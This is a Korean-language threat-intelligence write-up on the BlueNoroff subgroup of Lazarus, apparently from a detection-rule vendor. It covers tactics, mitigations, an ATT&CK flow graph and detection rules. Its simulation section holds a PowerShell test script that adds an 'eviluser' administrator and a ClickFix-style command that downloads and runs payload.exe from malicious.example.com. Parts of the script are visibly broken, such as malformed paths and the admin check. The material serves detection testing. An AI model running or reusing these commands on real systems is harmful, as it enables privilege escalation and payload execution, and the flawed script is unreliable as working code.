블루노프 그룹: 라자루스의 금융 사이버범죄 부문
Detection stack
- AIDR
- Alert
- ETL
- Query
요약
BlueNoroff는 Lazarus 생태계 내에서 재정적 이익을 추구하는 하위 그룹으로, 은행, 암호화폐 회사 및 더 넓은 Web3 대상을 대상으로 한 고가치 절도 작업에 중점을 둡니다. 그룹의 플레이북은 SWIFT 사기, 워터링홀 공격, Go 패키지 공급망 중독, 가짜 ‘채용 인터뷰’ 미끼를 이용한 macOS 침입 경로를 아우릅니다. 실행 및 지속성을 달성하기 위해 BlueNoroff는 모듈식 Rust/Go 악성코드 스택을 이용하고, AppleScript, VBScript 및 사용자의 주의를 우회하고 합법적인 개발 및 관리 활동에 잘 녹아들기 위해 설계된 사회공학적 워크플로우를 결합합니다.
조사
보고서는 2016년 방글라데시 은행 강탈 사건부터 2025년 경의 최근 공급망 활동까지 BlueNoroff의 발전 경로를 추적하며, 행위자의 도구 및 목표가 암호화/웹3 생태계와 함께 확장되었음을 강조합니다. 연구원들은 인프라 패턴을 설명하고 GhostCall, GhostHire, RustBucket, GillyInjector 등 악성코드 구성 요소를 분류합니다. 조사는 탐지된 행동을 MITRE ATT&CK의 탐지, 초기 접근, 실행, 지속성, 자격 증명 절도 등의 단계에 맞춰 맵핑하고, 은밀한 발판, 단계적 페이로드 전달, 절도 준비된 접근 경로에 대한 일관된 강조를 강조합니다.
완화
공급망 위험을 줄이기 위해 공급망 위생을 강화하십시오: 공개 레지스트리에서 가져온 패키지를 검증하고, 핀 지정 및 출처 제어를 강제하며, 예상치 못한 유지보수자 변경이나 코드 변경을 주기적으로 검토하십시오. macOS에서는 LaunchAgent/LaunchDaemon 관리 정책을 강화하고, 의심스러운 지속성 항목과 서명되지 않은 도구를 모니터링하십시오. 미끼 전달에 사용되는 유사 도메인을 차단하고, 고급 신원 및 외부 노출 서비스에 대해 MFA를 강제하고, 행위자와 관련된 알려진 악성 스크립트, 로더 및 패킹 기법에 대해 탐지를 운영화하십시오. 스피어피싱 및 ‘채용자/채용 인터뷰’ 사회공학 패턴에 중점을 둔 사용자 교육을 강화하고 위협 인텔리전스 업데이트를 자주 유지하십시오.
대응
BlueNoroff 지표가 발견되면 영향을 받은 호스트를 격리하고, 전체 명령 줄, 스크립트 내용 및 드롭된 바이너리 또는 패키지 아티팩트를 포함한 주요 증거를 보존하십시오. 식별된 악성 도메인 및 C2 IP를 차단한 다음, 자격 증명 절도 및 공급망 손상 시나리오에 맞추어진 사건 대응 플레이북을 실행하십시오. 보고서에 언급된 의심스러운 PowerShell 패턴에 대한 AppleScript 및 VBScript 실행 체인에 대한 탐지를 배포하거나 조정한 다음, 동일한 미끼, 종속성 또는 인프라 중복에 노출된 추가 엔드포인트를 식별하기 위해 사냥을 확대하십시오.
“graph TB %% Class Definitions classDef technique fill:#99ccff classDef action fill:#ffdd99 classDef operator fill:#ff9900 %% Technique Nodes gather_identity[“<b>기술</b> – <b>T1589 피해자 신원 정보 수집</b><br/>대상의 개인, 직업 및 온라인 정보를 수집합니다.”] class gather_identity technique search_social[“<b>기술</b> – <b>T1593.001 소셜 미디어 검색</b><br/>유용한 데이터를 찾기 위해 피해자 소유의 소셜 미디어 계정을 조회합니다.”] class search_social technique phish_info[“<b>기술</b> – <b>T1598.001 정보를 위한 피싱</b><br/>피해자를 속여 자격 증명이나 기타 데이터를 유출하도록 하는 메시지를 작성합니다.”] class phish_info technique spearphish_service[“<b>기술</b> – <b>T1566.003 서비스 통한 스피어피싱</b><br/>피해자에게 악성 콘텐츠를 전달하기 위해 합법적인 온라인 서비스를 사용합니다.”] class spearphish_service technique launch_agent[“<b>기술</b> – <b>T1543.001 에이전트 시작</b><br/>지속성을 얻기 위해 macOS 시작 에이전트를 설치합니다.”] class launch_agent technique launch_daemon[“<b>기술</b> – <b>T1543.004 데몬 시작</b><br/>지속성을 얻기 위해 macOS 시작 데몬을 설치합니다.”] class launch_daemon technique tcc_manip[“<b>기술</b> – <b>T1548.006 TCC 조작</b><br/>높은 권한을 얻기 위해 투명성, 동의 및 제어 설정을 수정합니다.”] class tcc_manip technique software_packing[“<b>기술</b> – <b>T1027.002 소프트웨어 패킹</b><br/>분석을 피하기 위해 페이로드를 압축하거나 암호화합니다.”] class software_packing technique masquerading[“<b>기술</b> – <b>T1036.005 위장</b><br/>파일 이름을 변경하거나 익숙한 아이콘을 사용하여 합법적으로 보입니다.”] class masquerading technique gui_input[“<b>기술</b> – <b>T1056.002 GUI 입력 캡처</b><br/>자격 증명을 탈취하기 위해 그래픽 인터페이스로부터 키 입력이나 마우스 입력을 기록합니다.”] class gui_input technique system_info[“<b>기술</b> – <b>T1082 시스템 정보 검색</b><br/>OS 버전, 하드웨어 세부 정보 및 설치된 소프트웨어를 수집합니다.”] class system_info technique data_local[“<b>기술</b> – <b>T1005 로컬 시스템에서 데이터 수집</b><br/>감염된 호스트의 관심 파일을 복사합니다.”] class data_local technique local_staging[“<b>기술</b> – <b>T1074.001 로컬 데이터 중복</b><br/>수집된 데이터를 나중에 유출할 수 있도록 디렉토리에 저장합니다.”] class local_staging technique web_protocols[“<b>기술</b> – <b>T1071.001 웹 프로토콜</b><br/>명령 및 제어 트래픽에 HTTP/HTTPS를 사용합니다.”] class web_protocols technique dead_drop[“<b>기술</b> – <b>T1102.001 비공개 위치 해상자</b><br/>공개적으로 호스팅된 위치에서 지시를 검색합니다.”] class dead_drop technique bidirectional[“<b>기술</b> – <b>T1102.002 양방향 C2</b><br/>공격자와 악성 코드 간의 양방향 통신을 허용합니다.”] class bidirectional technique oneway[“<b>기술</b> – <b>T1102.003 단방향 C2</b><br/>데이터를 되돌려 보내지 않고 공격자로부터 명령만 수신합니다.”] class oneway technique %% Action Nodes user_click[“<b>행동</b> – 사용자가 악성 링크를 클릭하고 페이로드를 다운로드합니다”] class user_click action %% Operator Node (optional AND for persistence options) op_persistence((“AND”)) class op_persistence operator %% Connections gather_identity u002du002d>|leads to| search_social search_social u002du002d>|leads to| phish_info phish_info u002du002d>|leads to| spearphish_service spearphish_service u002du002d>|triggers| user_click user_click u002du002d>|establishes| op_persistence op_persistence u002du002d>|uses| launch_agent op_persistence u002du002d>|uses| launch_daemon launch_agent u002du002d>|enables| tcc_manip launch_daemon u002du002d>|enables| tcc_manip tcc_manip u002du002d>|enables| software_packing tcc_manip u002du002d>|enables| masquerading software_packing u002du002d>|facilitates| gui_input masquerading u002du002d>|facilitates| gui_input gui_input u002du002d>|provides| system_info system_info u002du002d>|supports| data_local data_local u002du002d>|prepares| local_staging local_staging u002du002d>|exfiltrates via| web_protocols web_protocols u002du002d>|supports| dead_drop dead_drop u002du002d>|supports| bidirectional bidirectional u002du002d>|supports| oneway “
공격 흐름
탐지
가능한 시스템 네트워크 구성 발견 (cmdline)
보기
원격 시스템 발견 또는 연결성 검사 가능 (cmdline)
보기
자동 시작 위치의 의심스러운 바이너리/스크립트 (file_event)
보기
관리 계정 또는 그룹 열거 가능성 (cmdline)
보기
탐지할 IOC(이메일): BlueNoroff 그룹: Lazarus의 금융 사이버 범죄 부문
보기
악성 AppleScript 및 ClickFix 명령 실행 탐지 [Windows 프로세스 생성]
보기
Net 명령을 통한 로컬 및 도메인 사용자 열거 [Windows Sysmon]
보기
BlueNoroff PowerShell 난독화 및 인코딩 탐지 [Windows Powershell]
보기
시뮬레이션 실행
전제 조건: 데이터 수집 및 기준 사전 비행 확인이 통과해야 합니다.
이유: 이 섹션은 탐지 규칙을 트리거하도록 설계된 적 기법(TTP)의 정확한 실행을 자세히 설명합니다. 명령과 설명은 식별된 TTP를 직접 반영하고 탐지 논리에 기대되는 정확한 텔레메트리를 생성해야 합니다. 추상적이거나 관련 없는 예는 오진으로 이어집니다.
-
공격 내러티브 및 명령:
- AppleScript 실행 (T1546.016) – 공격자는 악성
payload.scpt를 엔드포인트에 투하합니다(예: 피싱 첨부 파일을 통해). 사전 설치된osascript.exe(타사 도구와 번들 제공)를 사용하여, 새로운 로컬 관리자 계정을 추가하는 PowerShell 페이로드를 실행하기 위해 스크립트를 시작합니다. - ClickFix 클립보드 전송 (T1204.004) – 공격자는
curl을 줌 스타일의 사용자 에이전트를 통해 두 번째 단계 페이로드를 다운로드하고, 즉시cmd.exe를 사용하여 실행하는 명령을 클립보드에 복사합니다. 명령은 또한 페이로드를 메모리에서 실행하기 위한 인라인powershell.exe -c호출을 포함합니다.
- AppleScript 실행 (T1546.016) – 공격자는 악성
-
회귀 테스트 스크립트: 아래 스크립트는 두 동작을 결정론적으로 재현합니다.
#----- 시작 회귀 테스트 스크립트 ----- # 관리 권한으로 실행 중에 있는지 확인합니다 if (-not ([Security.Principal.WindowsPrincipal] ` [Security.Principal.WindowsBuiltInRole] "Administrator")) { Write-Error "이 스크립트를 관리자 권한으로 실행하십시오." exit 1 } # 1. osascript.exe를 통한 AppleScript 실행 $appleScriptPath = "$env:TEMPmalicious.scpt" Set-Content -Path $appleScriptPath -Value @" tell application "System Events" do shell script "powershell -c `"Add-LocalGroupMember -Group "Administrators" -Member "eviluser"`"" end tell "@ # AppleScript 실행 Start-Process -FilePath "osascript.exe" -ArgumentList "`"$appleScriptPath`"" -NoNewWindow -Wait # 2. ClickFix 스타일 클립보드 전송 $clickFixCmd = 'curl -A "ZoomSDK" http://malicious.example.com/payload.exe -o $env:TEMPpayload.exe & powershell.exe -c "Start-Process $env:TEMPpayload.exe"' # 규칙 조건을 일치시키기 위해 cmd.exe를 통해 실행 Start-Process -FilePath "cmd.exe" -ArgumentList "/c `$clickFixCmd" -NoNewWindow -Wait # 정리: 아티팩트를 제거합니다 Remove-Item -Path $appleScriptPath -Force Remove-Item -Path "$env:TEMPpayload.exe" -Force -ErrorAction SilentlyContinue # 스크립트 종료 #----- 종료 회귀 테스트 스크립트 ----- -
정리 명령: 남아 있는 프로세스, 파일 및 테스트 사용자 계정을 제거합니다.
# 남아 있는 프로세스 중지 (방어적 – 일반적으로 필요하지 않음) Get-Process -Name "osascript","cmd","powershell","payload" -ErrorAction SilentlyContinue | Stop-Process -Force # 임시 파일 삭제 Remove-Item -Path "$env:TEMPmalicious.scpt" -Force -ErrorAction SilentlyContinue Remove-Item -Path "$env:TEMPpayload.exe" -Force -ErrorAction SilentlyContinue # 테스트 관리자 계정이 생성된 경우 제거 if (Get-LocalUser -Name "eviluser" -ErrorAction SilentlyContinue) { Remove-LocalUser -Name "eviluser" }